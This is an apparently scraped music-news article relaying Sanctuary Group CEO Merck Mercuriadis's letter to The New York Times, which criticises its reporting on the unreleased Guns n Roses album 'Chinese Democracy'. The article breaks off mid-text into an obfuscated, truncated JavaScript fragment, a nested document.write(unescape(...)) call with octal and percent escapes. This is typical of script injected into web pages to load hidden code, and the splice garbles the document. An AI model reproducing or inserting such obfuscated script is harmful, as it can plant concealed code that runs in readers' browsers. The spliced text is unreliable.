Blabbermouth reports: Merck Mercuriadis, worldwide CEO for the Sanctuary Group and manager of Guns n Roses, has responded to The New York Times article entitled "Success, excess and a music industry phantom" about Guns n Roses' long-awaited "Chinese Democracy" album, which was dubbed by the paper "probably the most expensive recording never released." Mercuriadis' letter to The New York Times reads as follows:
"Sir, I find it remarkable that the New York Times â€" a newspaper of some repute â€" has chosen to run an article on the making of the forthcoming Guns n Roses album, 'Chinese Democracy', without even bothering to talk to anyone who has actually been involved in the making of the album. You quote five people on the record, all of whom, with the exception of Tom Zutaut, have been out of the picture for between six and nine years, and like the author of your article, have never even heard the album! Tom Zutaut himself has not been involved for three years and has heard virtually none of the actual record.
"Your journalist Jeff Leeds â€" is this the return of Jayson Blair under a pseudonym? â€" contacted us last Thursday the 24th of February to inform us he had been working on an article about the 'process' of making the album. I explained that it was not possible for him to write such a story as he had not spoken to the band, our two engineers, myself or most importantly, Axl, all of whom have been working on the actual album for the last two years and enquired how he could write an investigative report with any integrity without doing so. I also asked why if he was reporting on the 'process' why we were the last people he was contacting, as it was obvious from the discussion that he had been working on this for a number of weeks.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;